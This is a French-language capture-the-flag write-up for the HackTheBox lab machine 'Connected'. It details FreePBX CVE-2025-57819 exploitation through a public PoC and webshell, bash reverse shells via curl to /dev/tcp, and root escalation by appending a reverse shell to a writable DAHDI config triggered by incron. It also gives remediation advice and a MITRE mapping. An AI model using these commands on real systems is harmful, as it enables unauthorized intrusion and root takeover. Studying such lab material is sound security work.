
# Write-up détaillé de test d'intrusion pour la machine HackTheBox « Connected », couvrant l'exploitation de FreePBX CVE-2025-57819 (SQLi vers RCE) et l'élévation de privilèges via une mauvaise configuration d'incron jusqu'à root.
Connected est une machine Linux basée sur CentOS exécutant le système de communication VoIP FreePBX v16.0.40.7 intégré à Asterisk.
Le flux d'exploitation (Vecteur d'Attaque / Kill Chain) se compose de deux étapes principales :
asterisk./usr/sbin/sysadmin_dahdi_restart lors d'une écriture dans le fichier /var/spool/asterisk/sysadmin/dahdi_restart. Comme le fichier de configuration DAHDI /etc/dahdi/init.conf est inscriptible (writable) par l'utilisateur asterisk, l'insertion d'une charge utile reverse shell dans ce fichier de configuration est exécutée automatiquement avec les droits root (uid=0).L'étape initiale du test d'intrusion commence par une reconnaissance active utilisant nmap pour identifier les ports ouverts, les services en cours d'exécution et les versions du système.
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
Explication des Options Nmap :
-T4 : Définit le modèle de temporisation agressif pour un scan plus rapide et plus efficace.-sC : Exécute l'ensemble des scripts NSE (Nmap Scripting Engine) par défaut pour la détection de vulnérabilités de base.-sV : Active la détection de services et de versions sur chaque port qui répond.-oA recon/nmap_quick : Enregistre tous les formats de sortie (standard, grepable, XML) dans le répertoire recon.Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/.Comme le serveur web utilise l'hébergement virtuel et redirige le trafic vers connected.htb, nous devons ajouter la résolution du nom d'hôte local dans /etc/hosts :
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
L'accès à l'URL http://connected.htb/admin/config.php via un navigateur affiche l'interface de gestion VoIP basée sur le web :
À partir du pied de page de la page web, les informations de version spécifiques sont obtenues :
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7La version FreePBX 16.0.40.7 est vulnérable à CVE-2025-57819. Cette vulnérabilité est une injection SQL pré-authentification qui permet à un attaquant sans identifiants (attaquant non authentifié) de manipuler la base de données backend FreePBX/Asterisk.
Grâce à cette injection SQL, l'attaquant peut modifier la table interne des tâches cron d'Asterisk (asterisk.cron_jobs) ou injecter du code PHP arbitraire dans le répertoire du serveur web (produisant un Générateur d'Artéfacts de Détection / Web Shell), ce qui mène à une Exécution de Code à Distance (RCE).
Nous avons utilisé le PoC d'exploit public des WatchTowr Labs :
# 1. Cloner le dépôt de l'exploit
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. Exécuter le script d'exploit contre la cible
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
Résultat de l'Exécution de l'Exploit : Le script a réussi à exploiter la cible et à créer un webshell actif sur le point de terminaison :
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
Pour obtenir une session interactive (reverse shell), suivez les étapes suivantes :
Ouvrir un Listener Netcat sur la machine de l'attaquant :
nc -lvnp 1212
Envoyer la Charge Utile du Reverse Shell via le Web Shell :
Envoyez la charge utile du reverse shell en utilisant curl avec le paramètre encodé URL :
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
Connexion Reverse Shell Reçue avec Succès :
La connexion entrante atteint le listener nc et nous obtenons un accès shell interactif en tant qu'utilisateur asterisk.
[asterisk@connected html]$ cat /home/asterisk/user.txt
Après avoir obtenu l'accès en tant qu'utilisateur asterisk, l'étape suivante consiste à effectuer une énumération interne pour trouver un vecteur d'Élévation de Privilèges vers root.
incron)Nous avons examiné la configuration du démon incron (table cron inotify), c'est-à-dire le service qui exécute des commandes lors d'un événement du système de fichiers (comme la modification ou la création de fichiers) :
[asterisk@connected html]$ cat /etc/incron.d/*
Sortie de la Configuration Incron :
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart est fermé après une opération d'écriture (IN_CLOSE_WRITE), le système exécute automatiquement le script /usr/sbin/sysadmin_dahdi_restart avec les privilèges root.Un examen plus approfondi du script /usr/sbin/sysadmin_dahdi_restart montre que le script redémarre le service DAHDI (Digium Asterisk Hardware Device Interface) et exécute / charge (source) le fichier de configuration /etc/dahdi/init.conf.
La vérification des permissions sur le fichier /etc/dahdi/init.conf montre que ce fichier est inscriptible (writable) par l'utilisateur asterisk :
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
Comme /etc/dahdi/init.conf est exécuté dans le contexte root lors du redémarrage de DAHDI, nous pouvons insérer une commande reverse shell dans ce fichier de configuration, puis déclencher le redémarrage via incron.
Ouvrir un Nouveau Listener sur la Machine de l'Attaquant (Port 4545) :
nc -lvnp 4545
Insérer le Reverse Shell dans /etc/dahdi/init.conf :
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
Déclencher l'Événement Incron via l'Écriture du Fichier Spool :
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
Quelques secondes après que incron a traité l'événement d'écriture du fichier, le script root exécute la ligne de commande insérée et génère une connexion reverse shell en tant que root (uid=0) :
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
Pwned by ikmalhanaan 🚀
| Composant | Spécification / Description |
|---|
| Nom de la Machine | Connected |
| Système d'Exploitation | Linux (CentOS / Distribution FreePBX) |
| IP Cible | <IP_TARGET> (connected.htb) |
| IP Attaquant | <IP_VPN_KITA> (Interface VPN tun0) |
| Vulnérabilité Critique | CVE-2025-57819 (Contournement d'Auth FreePBX & SQLi vers RCE) |
| Mécanisme d'Élévation de Privilèges | Hook Démon Incron Mal Configuré + /etc/dahdi/init.conf Inscriptible |
| Outils Utilisés | nmap, curl, python3, netcat (nc), bash, git |
| Vecteur de Faiblesse | Impact | Recommandation de Remédiation / Atténuation |
|---|
| SQLi Pré-Auth FreePBX (CVE-2025-57819) | Critique — Permet une RCE sans authentification via l'injection de base de données. | Mettre à jour FreePBX vers la dernière version de correctif officielle de Sangoma. Appliquer une validation d'entrée stricte ainsi que des Requêtes Préparées / Requêtes Paramétrées sur tous les points de terminaison API. |
Permission de Fichier Non Sécurisée (/etc/dahdi/init.conf) | Élevé — Un utilisateur non autorisé (asterisk) peut modifier un fichier de configuration exécuté par root. | Restreindre la propriété et les droits d'écriture du fichier de configuration : chmod 644 /etc/dahdi/init.conf et chown root:root /etc/dahdi/init.conf. |
| Exécution Automatisée Root par Incron | Moyen/Élevé — Le script d'automatisation root charge un fichier de configuration sans vérification d'intégrité. | Auditer toutes les règles incron et les scripts /usr/sbin/sysadmin_*. Éviter de sourcer des fichiers de configuration dynamiques vulnérables à une modification non-root. |
| Tactic | Technique ID | Technique Name | Application sur la Machine |
|---|
| Reconnaissance | T1595.002 | Active Scanning: Vulnerability Scanning | Scan des ports & services avec nmap. |
| Accès Initial | T1190 | Exploit Public-Facing Application | Exploitation de la vulnérabilité CVE-2025-57819 sur le serveur web FreePBX. |
| Exécution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Exécution de commandes bash reverse shell via le web shell & le script init. |
| Persistance / Élévation de Privilèges | T1053.003 | Scheduled Task/Job: Cron | Utilisation du démon incron pour exécuter automatiquement des tâches root. |
| Élévation de Privilèges | T1574.009 | Hijack Execution Flow: Path/Configuration Hijacking | Insertion de commandes malveillantes dans le fichier de configuration /etc/dahdi/init.conf. |
| Accès aux Identifiants / Collecte | T1005 | Data from Local System | Lecture des drapeaux user.txt et root.txt. |